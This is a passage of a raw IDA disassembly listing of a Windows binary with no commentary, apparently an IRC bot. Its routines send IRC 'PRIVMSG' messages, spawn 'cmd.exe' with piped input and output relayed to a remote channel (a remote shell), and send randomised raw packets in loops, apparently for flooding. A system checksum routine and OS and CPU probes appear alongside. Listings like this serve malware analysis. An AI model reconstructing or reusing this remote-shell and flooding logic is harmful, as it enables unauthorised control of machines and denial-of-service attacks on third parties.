		lea	ebx, [esi+4]

loc_40A160:				; CODE XREF: sub_40A093+DAj
		push	ebx
		call	dword_43A430
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A160
		jmp	short loc_40A143
sub_40A093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A171	proc near		; CODE XREF: sub_401447+243p
					; sub_401BD6+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A35C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43A6EC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4154E7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A171	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1CA	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A1F3
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40A1E6:				; CODE XREF: sub_40A1CA+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A1E6
		pop	edi
		jmp	short loc_40A1F7
; ---------------------------------------------------------------------------

loc_40A1F3:				; CODE XREF: sub_40A1CA+Aj
		mov	edx, [esp+4+arg_0]

loc_40A1F7:				; CODE XREF: sub_40A1CA+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A201
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40A201:				; CODE XREF: sub_40A1CA+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A1CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A217	proc near		; DATA XREF: sub_40CE55+2D34o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43A344
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A3F8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A272
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A43C
		cmp	eax, ebx
		jz	short loc_40A278

loc_40A272:				; CODE XREF: sub_40A217+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40A2D5

loc_40A278:				; CODE XREF: sub_40A217+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B4AC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A2B8
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412D4C
		add	esp, 14h

loc_40A2B8:				; CODE XREF: sub_40A217+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048

loc_40A2D5:				; CODE XREF: sub_40A217+5Fj
		cmp	eax, ebx
		jz	short loc_40A2E5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------

loc_40A2E5:				; CODE XREF: sub_40A217+C0j
		mov	[ebp+var_4], esi

loc_40A2E8:				; CODE XREF: sub_40A217+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415570
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40A308
		mov	[ebp+var_3C], eax

loc_40A308:				; CODE XREF: sub_40A217+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40A310
		mov	[ebp+var_38], edi

loc_40A310:				; CODE XREF: sub_40A217+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40A33D

loc_40A317:				; CODE XREF: sub_40A217+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43A2DC
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40A317

loc_40A33D:				; CODE XREF: sub_40A217+FEj
		push	[ebp+arg_0]
		call	dword_43A470
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B46C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A386
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412D4C
		add	esp, 14h

loc_40A386:				; CODE XREF: sub_40A217+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048
sub_40A217	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3A3	proc near		; DATA XREF: sub_40CE55+2E7Bo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_42104C
		push	eax
		call	sub_415539
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43A438
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40A488
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43A43C
		cmp	eax, edi
		jnz	short loc_40A481
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B528
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A464
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D4C
		add	esp, 14h

loc_40A464:				; CODE XREF: sub_40A3A3+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B16D
		push	[ebp+var_20]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048

loc_40A481:				; CODE XREF: sub_40A3A3+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A48B
; ---------------------------------------------------------------------------

loc_40A488:				; CODE XREF: sub_40A3A3+6Ej
		lea	eax, [ebp+arg_0]

loc_40A48B:				; CODE XREF: sub_40A3A3+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40A4A6
		call	sub_415543
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A4A9
; ---------------------------------------------------------------------------

loc_40A4A6:				; CODE XREF: sub_40A3A3+F0j
		push	[ebp+var_24]

loc_40A4A9:				; CODE XREF: sub_40A3A3+101j
		call	dword_43A3B8
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40A4BB
		mov	[ebp+var_24], esi

loc_40A4BB:				; CODE XREF: sub_40A3A3+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40A4C8
		mov	[ebp+var_24], eax

loc_40A4C8:				; CODE XREF: sub_40A3A3+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40A4DC
		mov	[ebp+var_28], esi

loc_40A4DC:				; CODE XREF: sub_40A3A3+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40A4FD

loc_40A4E3:				; CODE XREF: sub_40A3A3+158j
		call	sub_415543
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A4E3

loc_40A4FD:				; CODE XREF: sub_40A3A3+13Ej
					; sub_40A3A3+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40A55C
		push	0Bh
		pop	esi

loc_40A50A:				; CODE XREF: sub_40A3A3+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43A41C
		push	[ebp+var_28]
		call	dword_421060
		dec	esi
		jnz	short loc_40A50A
		cmp	[ebp+var_24], edi
		jnz	short loc_40A4FD
		call	sub_415543
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43A3B8
		mov	[ebp+var_E], ax
		jmp	short loc_40A4FD
; ---------------------------------------------------------------------------

loc_40A55C:				; CODE XREF: sub_40A3A3+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B4E8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A59C
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D4C
		add	esp, 14h

loc_40A59C:				; CODE XREF: sub_40A3A3+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B16D
		push	[ebp+var_20]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048
sub_40A3A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A5B9	proc near		; CODE XREF: sub_40A5E9+2Ap
					; sub_40A621+7Ep ...
		mov	eax, dword_43A704
		push	esi
		mov	esi, dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5CD
		push	eax
		call	esi

loc_40A5CD:				; CODE XREF: sub_40A5B9+Fj
		mov	eax, dword_43A70C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5DA
		push	eax
		call	esi

loc_40A5DA:				; CODE XREF: sub_40A5B9+1Cj
		mov	eax, dword_43A700
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5E7
		push	eax
		call	esi

loc_40A5E7:				; CODE XREF: sub_40A5B9+29j
		pop	esi
		retn
sub_40A5B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5E9	proc near		; CODE XREF: sub_40B551+14Ap
					; sub_40CE55+4507p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43A708
		call	dword_421070
		test	eax, eax
		jnz	short loc_40A61C
		call	sub_40A5B9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40A61C:				; CODE XREF: sub_40A5E9+28j
		push	1
		pop	eax
		leave
		retn
sub_40A5E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A621	proc near		; CODE XREF: sub_40A6A8+D3p
					; sub_40A6A8+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_438FDC
		push	[ebp+arg_4]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A664
		push	7D0h
		call	dword_421060
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_40A67B
; ---------------------------------------------------------------------------

loc_40A664:				; CODE XREF: sub_40A621+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40A67B:				; CODE XREF: sub_40A621+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		test	eax, eax
		jg	short loc_40A6A4
		call	sub_40A5B9

loc_40A6A4:				; CODE XREF: sub_40A621+7Cj
		xor	eax, eax
		leave
		retn
sub_40A621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A8	proc near		; DATA XREF: sub_40A7FD+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43A710

loc_40A6C0:				; CODE XREF: sub_40A6A8+79j
					; sub_40A6A8+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43A704
		call	dword_4210FC
		test	eax, eax
		jz	loc_40A78E
		cmp	[ebp+var_4], edi
		jnz	short loc_40A723
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43A700
		call	dword_421000
		test	eax, eax
		jz	short loc_40A719
		cmp	[ebp+var_8], 103h
		jnz	loc_40A7B2

loc_40A719:				; CODE XREF: sub_40A6A8+62j
		push	0Ah
		call	dword_421060
		jmp	short loc_40A6C0
; ---------------------------------------------------------------------------

loc_40A723:				; CODE XREF: sub_40A6A8+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40A73A

loc_40A72A:				; CODE XREF: sub_40A6A8+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40A788
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40A72A

loc_40A73A:				; CODE XREF: sub_40A6A8+80j
		mov	[ebp+var_4], esi

loc_40A73D:				; CODE XREF: sub_40A6A8+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43A704
		call	dword_421068
		test	eax, eax
		jz	short loc_40A7DA
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43A744
		call	sub_40A621
		add	esp, 0Ch
		jmp	loc_40A6C0
; ---------------------------------------------------------------------------

loc_40A788:				; CODE XREF: sub_40A6A8+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40A73D
; ---------------------------------------------------------------------------

loc_40A78E:				; CODE XREF: sub_40A6A8+45j
		push	offset dword_42B5F4
		push	ebx
		push	dword_43A744
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	1
		call	dword_421048

loc_40A7B2:				; CODE XREF: sub_40A6A8+6Bj
		call	sub_40A5B9
		push	offset dword_42B5B8
		push	ebx
		push	dword_43A744
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	edi
		call	dword_421048

loc_40A7DA:				; CODE XREF: sub_40A6A8+C3j
		push	offset dword_42B574
		push	ebx
		push	dword_43A744
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	edi
		call	dword_421048
sub_40A6A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7FD	proc near		; CODE XREF: sub_40B551+99p
					; sub_40CE55+51BFp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A5B9
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43A474
		test	eax, eax
		jz	loc_40A8F7
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40A8F7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40A8F7
		mov	edi, dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43A708
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	dword_421100
		test	eax, eax
		jz	short loc_40A8F7
		push	10h

loc_40A89A:				; DATA XREF: .nsp0:00424ED4o
					; .nsp0:00424F18o ...
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438FDC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4210EC
		test	eax, eax
		jnz	short loc_40A8FF

loc_40A8F7:				; CODE XREF: sub_40A7FD+2Fj
					; sub_40A7FD+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A9AD
; ---------------------------------------------------------------------------

loc_40A8FF:				; CODE XREF: sub_40A7FD+F8j
		push	[ebp+var_4]
		mov	edi, dword_42106C
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43A704, eax
		mov	eax, [ebp+var_8]
		mov	dword_43A70C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43A700, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43A744, eax
		jz	short loc_40A939
		push	[ebp+arg_4]
		jmp	short loc_40A93A
; ---------------------------------------------------------------------------

loc_40A939:				; CODE XREF: sub_40A7FD+135j
		push	ebx

loc_40A93A:				; CODE XREF: sub_40A7FD+13Aj
		push	offset dword_43A710
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B680
		call	sub_414F93
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43F550[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40A6A8
		push	esi
		push	esi
		call	dword_42108C
		cmp	eax, esi
		mov	dword_43F55C[edi], eax
		jnz	short loc_40A9AB
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B638
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B16D
		add	esp, 10h

loc_40A9AB:				; CODE XREF: sub_40A7FD+185j
		xor	eax, eax

loc_40A9AD:				; CODE XREF: sub_40A7FD+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9B2	proc near		; CODE XREF: sub_407135+74p
					; sub_40AAD1+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_42104C
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43A74C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA1B	proc near		; CODE XREF: sub_40AAD1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40AA23:				; CODE XREF: sub_40AA1B+2Fj
					; sub_40AA1B+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_421060
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4172E0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40AA23
		jb	short loc_40AA52
		cmp	ebx, esi
		ja	short loc_40AA23

loc_40AA52:				; CODE XREF: sub_40AA1B+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_417260
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40AAC5
		jb	short loc_40AA71
		cmp	esi, 50h
		jnb	short loc_40AA76

loc_40AA71:				; CODE XREF: sub_40AA1B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40AA76:				; CODE XREF: sub_40AA1B+54j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA81
		cmp	esi, 47h
		jnb	short loc_40AA86

loc_40AA81:				; CODE XREF: sub_40AA1B+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40AA86:				; CODE XREF: sub_40AA1B+64j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA91
		cmp	esi, 37h
		jnb	short loc_40AA96

loc_40AA91:				; CODE XREF: sub_40AA1B+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40AA96:				; CODE XREF: sub_40AA1B+74j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAA1
		cmp	esi, 26h
		jnb	short loc_40AAA6

loc_40AAA1:				; CODE XREF: sub_40AA1B+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40AAA6:				; CODE XREF: sub_40AA1B+84j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAB1
		cmp	esi, 1Eh
		jnb	short loc_40AAB6

loc_40AAB1:				; CODE XREF: sub_40AA1B+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40AAB6:				; CODE XREF: sub_40AA1B+94j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAC1
		cmp	esi, 0Ah
		jnb	short loc_40AAC5

loc_40AAC1:				; CODE XREF: sub_40AA1B+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40AAC5:				; CODE XREF: sub_40AA1B+4Dj
					; sub_40AA1B+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40AA1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAD1	proc near		; CODE XREF: sub_40CE55+541Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438FDC
		mov	[ebp+var_CC], 94h
		call	dword_42110C
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AB58
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB34
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AB1E
		mov	[ebp+var_4], offset a95	; "95"

loc_40AB1E:				; CODE XREF: sub_40AAD1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40ABD3
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40ABA4
; ---------------------------------------------------------------------------

loc_40AB34:				; CODE XREF: sub_40AAD1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AB46
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB46:				; CODE XREF: sub_40AAD1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AB94
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB58:				; CODE XREF: sub_40AAD1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AB94
